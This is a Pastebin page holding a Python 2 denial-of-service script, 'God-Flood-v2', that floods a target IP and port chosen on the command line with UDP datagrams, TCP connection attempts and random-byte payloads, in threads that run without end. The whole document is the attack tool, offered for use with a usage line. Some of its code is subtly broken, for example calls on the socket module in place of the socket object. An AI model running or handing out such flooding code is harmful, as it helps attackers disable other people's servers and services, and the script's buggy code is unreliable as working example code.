Advertisement
Dr-L0v3

God-Flood-v2 (TCP,UDP,SYN)

Dec 21st, 2017
1,060
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.38 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # God-Flood(tcp,syn,udp)
  3. # Dr.L0v3
  4.  
  5. import threading, sys, time, random, socket
  6.  
  7. if len(sys.argv) < 4:
  8.     print "God-Flood By Dr.L0v3"
  9.     sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>")
  10.  
  11. ip = sys.argv[1]
  12. port = int(sys.argv[2])
  13. size = int(sys.argv[3])
  14. packets = int(sys.argv[3])
  15.  
  16. class syn(threading.Thread):
  17.     def __init__(self, ip, port, packets):
  18.         self.ip = ip
  19.         self.port = port
  20.         self.packets = packets
  21.         self.syn = socket.socket()
  22.         threading.Thread.__init__(self)
  23.     def run(self):
  24.         for i in range(self.packets):
  25.             try:
  26.                 self.syn.connect((self.ip, self.port))
  27.             except:
  28.                 pass
  29.  
  30. class tcp(threading.Thread):
  31.     def __init__(self, ip, port, size, packets):
  32.         self.ip = ip
  33.         self.port = port
  34.         self.size = size
  35.         self.packets = packets
  36.         self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  37.         threading.Thread.__init__(self)
  38.     def run(self):
  39.         for i in range(self.packets):
  40.             try:
  41.                 bytes = random._urandom(self.size)
  42.                 socket.connect(self.ip, self.port)
  43.                 socket.setblocking(0)
  44.                 socket.sendto(bytes,(self.ip, self.port))
  45.             except:
  46.                 pass
  47.  
  48. class udp(threading.Thread):
  49.     def __init__(self, ip, port, size, packets):
  50.         self.ip = ip
  51.         self.port = port
  52.         self.size = size
  53.         self.packets = packets
  54.         self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  55.         threading.Thread.__init__(self)
  56.     def run(self):
  57.         for i in range(self.packets):
  58.             try:
  59.                 bytes = random._urandom(self.size)
  60.                 if self.port == 0:
  61.                     self.port = random.randrange(1, 65535)
  62.                 self.udp.sendto(bytes,(self.ip, self.port))
  63.             except:
  64.                 pass
  65.  
  66. while True:
  67.     try:
  68.         if size > 65507:
  69.             sys.exit("Invalid Number Of Packets !!!")
  70.         u = udp(ip,port,size,packets)
  71.         t = tcp(ip,port,size,packets)
  72.         s = syn(ip,port,packets)
  73.         u.start()
  74.         t.start()
  75.         s.start()
  76.     except KeyboardInterrupt:
  77.         print "Stopping Flood!"
  78.         sys.exit()
  79.     except socket.error, msg:
  80.         print "Socket Couldn't Connect"
  81.         sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement